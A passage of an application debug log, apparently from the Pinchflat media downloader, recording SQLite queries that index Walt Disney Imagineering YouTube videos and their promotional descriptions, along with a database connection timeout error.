~U[2026-03-30 22:55:29Z], ~U[2026-03-30 22:55:29Z], "Disney Adventure - the largest ship in the Disney Cruise Line fleet and the first designed specifically for the Southeast Asia market - is now sailing for all guests to enjoy. Imagineers designed this ship to be classic and modern, blending traditional Disney elements with cutting‑edge technology.\n\nDiscover how Imagineers transformed a half‑built vessel into a fully immersive Disney experience filled with groundbreaking technology, storytelling, and innovation at sea. This required extensive research, major redesigns, and innovative engineering, which delivered remarkable spaces like Imagination Garden, San Fransokyo Street, and so much more.\n\n🔑 Key Takeaways\n→ How Imagineers redesigned an existing ship into a fully Disney vessel\n→ All‑new stage technology with transparent LED walls and hidden speaker arrays\n→ Disney sets a new bar with its largest fireworks show at sea - Lion King: Celebration in the Sky fireworks spectacular\n\n📋 Chapters\nAdventure Overview: 1:13\nDisney Cruise Line Origins: 2:35\nImagination Gardens: 5:40\nOceaneers Club: 13:03\nRotational Dining: 16:05\nFireworks at Sea: 19:10\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n🤖 R&D → \u00A0\u00A0\u00A0•\u00A0Real-Life\u00A0Olaf\u00A0Robot\u00A0&\u00A0Inside\u00A0Imagineering...\u00A0\u00A0\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforg (truncated) 18:55:29.844 [debug] QUERY OK source="sources" db=0.2ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:29.845 [debug] QUERY OK source="media_items" db=0.4ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-24 00:00:00Z], 2] 18:55:29.847 [debug] QUERY OK source="media_items" db=1.5ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Picture it... the biggest matchup on Kilimanjaro Safaris at Disney's Animal Kingdom is about to unfold - lions versus rhinos. Actually, this could never happen because Imagineers designed specific barriers to keep the animals away from each other and Tom Morrow 2.0 is getting the full scoop on how it's done.\n\n✅ What you’ll learn:\n• Imagineers used natural barriers to separate animals that shouldn't be together\n• The barriers used to separate animals is themed to seamlessly blend in\n• In some situations, treats and activities are used to encourage the animals to be in certain areas\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How does Walt Disney Imagineering control a ride that's trackless? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0How\u00A0does\u00A0Walt\u00A0Disney\u00A0Imagineering\u00A0control\u00A0...\u00A0\u00A0\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🦁 if you roared watching this episode!", "How do the Imagineers keep the lions away from the rhinos?!", "efc7f779-da5a-4775-89dc-65572a8852cc", "diprlz4GBlk", "https://www.youtube.com/watch?v=diprlz4GBlk", false, false, 4, "/downloads/Walt Disney Imagineering/2026-02-24 How do the Imagineers keep the lions away from the rhinos?!/How do the Imagineers keep the lions away from the rhinos?! [diprlz4GBlk].NA", false, false, 2, [], 98, ~U[2026-02-24 00:00:00Z], ~U[2026-03-30 22:55:29Z], ~U[2026-03-30 22:55:29Z], "Picture it... the biggest matchup on Kilimanjaro Safaris at Disney's Animal Kingdom is about to unfold - lions versus rhinos. Actually, this could never happen because Imagineers designed specific barriers to keep the animals away from each other and Tom Morrow 2.0 is getting the full scoop on how it's done.\n\n✅ What you’ll learn:\n• Imagineers used natural barriers to separate animals that shouldn't be together\n• The barriers used to separate animals is themed to seamlessly blend in\n• In some situations, treats and activities are used to encourage the animals to be in certain areas\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How does Walt Disney Imagineering control a ride that's trackless? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0How\u00A0does\u00A0Walt\u00A0Disney\u00A0Imagineering\u00A0control\u00A0...\u00A0\u00A0\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🦁 if you roared watching this episode!", "How do the Imagineers keep the lions away from the rhinos?!", "diprlz4GBlk", "https://www.youtube.com/watch?v=diprlz4GBlk", nil, false, "/downloads/Walt Disney Imagineering/2026-02-24 How do the Imagineers keep the lions away from the rhinos?!/How do the Imagineers keep the lions away from the rhinos?! [diprlz4GBlk].NA", false, 2, ~U[2026-02-24 00:00:00Z]] 18:55:29.847 [debug] QUERY OK source="sources" db=0.2ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:29.848 [debug] QUERY OK source="media_items" db=0.4ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-17 00:00:00Z], 2] 18:56:16.382 [info] {"message":"notifier can't receive messages from any nodes, functionality degraded","source":"oban","event":"notifier:switch","connectivity_status":"isolated"} 18:56:16.382 [info] {"message":"notifier only receiving messages from its own node, functionality may be degraded","source":"oban","event":"notifier:switch","connectivity_status":"solitary"} 18:56:16.382 [debug] QUERY OK source="media_items" db=46533.2ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Ever wondered how Disney Cruise Line fits three Broadway‑level shows in one theater in the middle of the ocean? 🎭🚢 We’re taking you backstage to uncover how Disney Live Entertainment fits the set pieces for their shows all in one space. From prop storage and hidden lifts to multi‑layered stage design, this incredible feat allows Disney to transform the space quickly, letting guests experience multiple productions, sets, and effects all in one venue.\n\n✨ What makes this special?\n• Discover how Disney Cruise Line’s technical team fits three full Broadway‑style musicals into a single theater, using smart engineering, collapsible sets, and precision storage planning\n• Learn how shows like Frozen, Hercules, and Moana swap in just hours, thanks to multi‑level storage, deck‑to‑deck lifts, and clever backstage solutions hidden just out of audience view\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n👻 Pepper's Ghost from Haunted Mansion to Test Track → \u00A0\u00A0\u00A0•\u00A0Pepper's\u00A0Ghost\u00A0from\u00A0Haunted\u00A0Mansion\u00A0to\u00A0Tes...\u00A0\u00A0\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "How Does Disney Do This - Three Stages in ONE Theater?!", "c567bdbb-c999-4893-ba58-7f6a2f356045", "Q1cJY2wpQRQ", "https://www.youtube.com/watch?v=Q1cJY2wpQRQ", false, false, 5, "/downloads/Walt Disney Imagineering/2026-02-17 How Does Disney Do This - Three Stages in ONE Theater?!/How Does Disney Do This - Three Stages in ONE Theater?! [Q1cJY2wpQRQ].NA", false, false, 2, [], 98, ~U[2026-02-17 00:00:00Z], ~U[2026-03-30 22:55:29Z], ~U[2026-03-30 22:55:29Z], "Ever wondered how Disney Cruise Line fits three Broadway‑level shows in one theater in the middle of the ocean? 🎭🚢 We’re taking you backstage to uncover how Disney Live Entertainment fits the set pieces for their shows all in one space. From prop storage and hidden lifts to multi‑layered stage design, this incredible feat allows Disney to transform the space quickly, letting guests experience multiple productions, sets, and effects all in one venue.\n\n✨ What makes this special?\n• Discover how Disney Cruise Line’s technical team fits three full Broadway‑style musicals into a single theater, using smart engineering, collapsible sets, and precision storage planning\n• Learn how shows like Frozen, Hercules, and Moana swap in just hours, thanks to multi‑level storage, deck‑to‑deck lifts, and clever backstage solutions hidden just out of audience view\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n👻 Pepper's Ghost from Haunted Mansion to Test Track → \u00A0\u00A0\u00A0•\u00A0Pepper's\u00A0Ghost\u00A0from\u00A0Haunted\u00A0Mansion\u00A0to\u00A0Tes...\u00A0\u00A0\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "How Does Disney Do This - Three Stages in ONE Theater?!", "Q1cJY2wpQRQ", "https://www.youtube.com/watch?v=Q1cJY2wpQRQ", nil, false, "/downloads/Walt Disney Imagineering/2026-02-17 How Does Disney Do This - Three Stages in ONE Theater?!/How Does Disney Do This - Three Stages in ONE Theater?! [Q1cJY2wpQRQ].NA", false, 2, ~U[2026-02-17 00:00:00Z]] 18:56:16.383 [info] {"source":"oban","duration":1230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:56:16.383 [error] Exqlite.Connection (#PID<0.2321.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.2362.0> timed out because it queued and checked out the connection for longer than 15000ms #PID<0.2362.0> was at location: (exqlite 0.31.0) lib/exqlite/connection.ex:697: Exqlite.Connection.handle_transaction/3 (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4 (db_connection 2.7.0) lib/db_connection.ex:1891: DBConnection.run_commit/3 (db_connection 2.7.0) lib/db_connection.ex:1366: DBConnection.checkin/4 (db_connection 2.7.0) lib/db_connection.ex:1870: DBConnection.commit/3 (db_connection 2.7.0) lib/db_connection.ex:1783: DBConnection.run_transaction/4 (oban 2.19.4) lib/oban/repo.ex:156: Oban.Repo.transaction/4 18:56:16.384 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=46534.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:16.384 [info] {"source":"oban","duration":1922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:16.519 [debug] QUERY OK source="media_items" db=0.9ms idle=136.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-27 00:00:00Z], 2] 18:56:16.520 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 18:56:17.549 [debug] QUERY OK source="media_items" db=1028.6ms idle=136.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Disney's trackless rides might feel like they're taking you off the rails, but that's not the case! In this episode, Tom tracks down the answers to how trackless attractions work like Mickey & Minnie's Runaway Railway!\n\n✅ What you’ll learn:\n• Trackless Systems Unlock Advanced Storytelling\n• Trackless Ride Vehicles Use Hidden Navigation Markers\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎢 in the comments if you love trackless rides!", "How does Walt Disney Imagineering control a ride that's trackless?", "3ca4017d-b877-4a69-9449-518fd5da7384", "IZwvg7w1_Kw", "https://www.youtube.com/watch?v=IZwvg7w1_Kw", false, false, 6, "/downloads/Walt Disney Imagineering/2026-01-27 How does Walt Disney Imagineering control a ride that's trackless?/How does Walt Disney Imagineering control a ride that's trackless? [IZwvg7w1_Kw].NA", false, false, 2, [], 98, ~U[2026-01-27 00:00:00Z], ~U[2026-03-30 22:56:16Z], ~U[2026-03-30 22:56:16Z], "Disney's trackless rides might feel like they're taking you off the rails, but that's not the case! In this episode, Tom tracks down the answers to how trackless attractions work like Mickey & Minnie's Runaway Railway!\n\n✅ What you’ll learn:\n• Trackless Systems Unlock Advanced Storytelling\n• Trackless Ride Vehicles Use Hidden Navigation Markers\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎢 in the comments if you love trackless rides!", "How does Walt Disney Imagineering control a ride that's trackless?", "IZwvg7w1_Kw", "https://www.youtube.com/watch?v=IZwvg7w1_Kw", nil, false, "/downloads/Walt Disney Imagineering/2026-01-27 How does Walt Disney Imagineering control a ride that's trackless?/How does Walt Disney Imagineering control a ride that's trackless? [IZwvg7w1_Kw].NA", false, 2, ~U[2026-01-27 00:00:00Z]] 18:56:17.549 [debug] QUERY OK source="sources" db=0.2ms idle=1165.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:17.550 [debug] QUERY OK source="media_items" db=0.5ms idle=1030.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-20 00:00:00Z], 2] 18:56:17.553 [debug] QUERY OK source="media_items" db=1.6ms idle=1030.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Step inside Mickey & Minnie’s Runaway Railway at Walt Disney World as we uncover the hidden secrets, Easter eggs, and behind‑the‑scenes stories shared directly by the Disney Imagineers who built the attraction.\n\n✨ What makes this special?\n• 